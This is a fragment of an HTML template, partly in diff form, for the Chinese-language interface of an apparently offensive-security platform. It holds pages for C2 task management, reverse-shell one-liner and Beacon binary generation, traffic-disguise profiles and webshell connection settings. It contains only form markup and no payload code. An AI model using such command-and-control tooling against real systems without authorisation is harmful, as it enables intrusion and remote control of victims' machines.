<div id="c2-session-main" class="c2-session-main"></div>
</div>
</div>
</div>
<!-- C2 任务管理页面 -->
<div id="page-c2-tasks" class="page">
<div class="page-header">
<h2 data-i18n="c2.tasks.title">任务管理</h2>
<div class="page-header-actions">
<button type="button" class="btn-danger" id="c2-tasks-batch-delete" disabled onclick="C2.deleteSelectedTasks()"><span data-i18n="c2.tasks.batchDelete">批量删除</span></button>
<button type="button" class="btn-secondary" onclick="C2.loadTasks()"><span data-i18n="common.refresh">刷新</span></button>
</div>
</div>
<div class="page-content c2-tasks-page-wrap">
<div class="c2-tasks-toolbar">
<label class="c2-tasks-select-all-label">
<input type="checkbox" id="c2-tasks-select-all" onchange="C2.onTasksSelectAll(this.checked)">
<span data-i18n="c2.tasks.selectAll">全选本页</span>
</label>
</div>
<div id="c2-task-list" class="c2-task-list-container"></div>
<div id="c2-tasks-pagination" class="pagination-container"></div>
</div>
</div>
<!-- C2 Payload 生成页面 -->
<div id="page-c2-payloads" class="page">
<div class="page-header">
<h2 data-i18n="c2.payloads.title">Payload 生成</h2>
</div>
<div class="page-content">
<div class="c2-payload-grid">
<div class="c2-payload-card">
<h3>
<span class="c2-payload-icon" style="background:rgba(59,130,246,0.08);color:#3b82f6;">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><polyline points="4 17 10 11 4 5"></polyline><line x1="12" y1="19" x2="20" y2="19"></line></svg>
</span>
<span data-i18n="c2.payloads.oneliner">单行 Payload</span>
</h3>
<p class="c2-payload-desc" data-i18n="c2.payloads.onelinerDesc">快速生成可在目标机直接执行的反弹命令,支持 Bash / Python / PowerShell / Curl</p>
<div class="c2-form-group">
<label data-i18n="c2.payloads.listener">监听器</label>
<select id="c2-payload-listener" class="form-control"></select>
</div>
<div class="c2-form-group">
<label data-i18n="c2.payloads.kind">类型</label>
<select id="c2-payload-kind" class="form-control"></select>
</div>
<div class="c2-form-group">
<label data-i18n="c2.payloads.hostOptional">回连地址 (可选)</label>
<input type="text" id="c2-payload-host" class="form-control" data-i18n="c2.payloads.placeholderListenerHost" data-i18n-attr="placeholder" placeholder="留空则使用监听器地址">
</div>
<button type="button" id="c2-generate-oneliner-btn" class="btn-primary" onclick="C2.generateOneliner()" style="width:100%;" data-i18n="c2.payloads.generateOnelinerBtn">生成 Oneliner</button>
<pre id="c2-oneliner-output" class="c2-oneliner-output" style="display:none;" onclick="C2.copyOneliner()" data-i18n="c2.payloads.clickToCopyTitle" data-i18n-attr="title" data-i18n-skip-text="true" title="点击复制"></pre>
</div>
<div class="c2-payload-card">
<h3>
<span class="c2-payload-icon" style="background:rgba(16,185,129,0.08);color:#10b981;">
<svg width="16" height="16" viewBox="0 0 24 24" fill="none" stroke="currentColor" stroke-width="2"><rect x="4" y="4" width="16" height="16" rx="2" ry="2"></rect><rect x="9" y="9" width="6" height="6"></rect><line x1="9" y1="1" x2="9" y2="4"></line><line x1="15" y1="1" x2="15" y2="4"></line><line x1="9" y1="20" x2="9" y2="23"></line><line x1="15" y1="20" x2="15" y2="23"></line><line x1="20" y1="9" x2="23" y2="9"></line><line x1="20" y1="14" x2="23" y2="14"></line><line x1="1" y1="9" x2="4" y2="9"></line><line x1="1" y1="14" x2="4" y2="14"></line></svg>
</span>
<span data-i18n="c2.payloads.build">编译 Beacon 二进制</span>
</h3>
<p class="c2-payload-desc" data-i18n="c2.payloads.buildDesc">交叉编译支持多平台的完整 Beacon 可执行文件,支持 Linux / Windows / macOS</p>
<div class="c2-form-group">
<label data-i18n="c2.payloads.listener">监听器</label>
<select id="c2-build-listener" class="form-control"></select>
<p id="c2-build-loopback-hint" class="form-hint" style="display:none;margin-top:8px;color:#b45309;"></p>
</div>
<div class="c2-form-group">
<label data-i18n="c2.payloads.hostOptional">回连地址(可选)</label>
<input type="text" id="c2-build-host" class="form-control" data-i18n="c2.payloads.placeholderListenerHost" data-i18n-attr="placeholder" placeholder="留空则使用监听器地址">
</div>
<div class="c2-form-row">
<div class="c2-form-group">
<label data-i18n="c2.payloads.os">目标系统</label>
<select id="c2-build-os" class="form-control">
<option value="linux" data-i18n="c2.payloads.linux">Linux</option>
<option value="windows" data-i18n="c2.payloads.windows">Windows</option>
<option value="darwin" data-i18n="c2.payloads.darwin">macOS</option>
</select>
</div>
<div class="c2-form-group">
<label data-i18n="c2.payloads.arch">目标架构</label>
<select id="c2-build-arch" class="form-control">
<option value="amd64" data-i18n="c2.payloads.amd64">AMD64</option>
<option value="arm64" data-i18n="c2.payloads.arm64">ARM64</option>
<option value="386" data-i18n="c2.payloads.386">386</option>
</select>
</div>
</div>
<button id="c2-build-btn" type="button" class="btn-primary" onclick="C2.buildBeacon()" style="width:100%;" data-i18n="c2.payloads.buildBeaconBtn">构建 Beacon</button>
<div id="c2-build-result"></div>
</div>
</div>
</div>
</div>
<!-- C2 事件审计页面 -->
<div id="page-c2-events" class="page">
<div class="page-header">
<h2 data-i18n="c2.events.title">事件审计</h2>
<div class="page-header-actions">
<button type="button" class="btn-danger" id="c2-events-batch-delete" disabled onclick="C2.deleteSelectedEvents()"><span data-i18n="c2.events.batchDelete">批量删除</span></button>
<button type="button" class="btn-secondary" onclick="C2.loadEvents()"><span data-i18n="common.refresh">刷新</span></button>
</div>
</div>
<div class="page-content c2-events-page-wrap">
<div class="c2-events-toolbar">
<label class="c2-events-select-all-label">
<input type="checkbox" id="c2-events-select-all" onchange="C2.onEventsSelectAll(this.checked)">
<span data-i18n="c2.events.selectAll">全选本页</span>
</label>
</div>
<div id="c2-event-list" class="c2-event-list"></div>
<div id="c2-events-pagination" class="pagination-container"></div>
</div>
</div>
<!-- C2 Profile 管理页面 -->
<div id="page-c2-profiles" class="page">
<div class="page-header">
<h2 data-i18n="c2.profiles.title">流量伪装</h2>
<div class="page-header-actions">
<button class="btn-primary" onclick="C2.showCreateProfileModal()" data-i18n="c2.profiles.createBtn">+ 创建 Profile</button>
</div>
</div>
<div class="page-content">
<div id="c2-profile-list" class="c2-profile-list"></div>
</div>
</div>
<!-- C2 模态框 -->
<div id="c2-modal" class="c2-modal-overlay" style="display:none;" onclick="if(event.target===this)C2.closeModal()">
<div class="c2-modal" onclick="event.stopPropagation()">
<div id="c2-modal-content"></div>
</div>
</div>
<!-- 角色管理页面 -->
<div id="page-roles-management" class="page">
<div class="page-header">
@@ -2925,6 +3209,25 @@
<label for="webshell-cmd-param" data-i18n="webshell.cmdParam">命令参数名</label>
<input type="text" id="webshell-cmd-param" data-i18n="webshell.cmdParamPlaceholder" data-i18n-attr="placeholder" placeholder="不填默认为 cmd,如 xxx 则请求为 xxx=命令" />
</div>
<div class="form-group">
<label for="webshell-os" data-i18n="webshell.os">目标系统</label>
<select id="webshell-os">
<option value="auto" data-i18n="webshell.osAuto">自动(按 Shell 类型推断)</option>
<option value="linux" data-i18n="webshell.osLinux">Linux / Unix</option>
<option value="windows" data-i18n="webshell.osWindows">Windows</option>
</select>
<small class="form-hint" data-i18n="webshell.osHint">决定文件管理/上传使用 Linux 还是 Windows 命令;PHP/JSP 跑在 Windows 上请选 Windows</small>
</div>
<div class="form-group">
<label for="webshell-encoding" data-i18n="webshell.encoding">响应编码</label>
<select id="webshell-encoding">
<option value="auto" data-i18n="webshell.encodingAuto">自动检测</option>
<option value="utf-8" data-i18n="webshell.encodingUtf8">UTF-8</option>
<option value="gbk" data-i18n="webshell.encodingGbk">GBK(中文 Windows</option>
<option value="gb18030" data-i18n="webshell.encodingGb18030">GB18030</option>
</select>
<small class="form-hint" data-i18n="webshell.encodingHint">中文 Windows 目标若出现乱码,请切换为 GBK 或 GB18030</small>
</div>
<div class="form-group">
<label for="webshell-remark" data-i18n="webshell.remark">备注</label>
<input type="text" id="webshell-remark" data-i18n="webshell.remarkPlaceholder" data-i18n-attr="placeholder" placeholder="便于识别的备注名" />
@@ -3055,6 +3358,7 @@
<script src="/static/js/chat-files.js"></script>
<script src="/static/js/tasks.js"></script>
<script src="/static/js/roles.js"></script>
<script src="/static/js/c2.js"></script>
</body>
</html>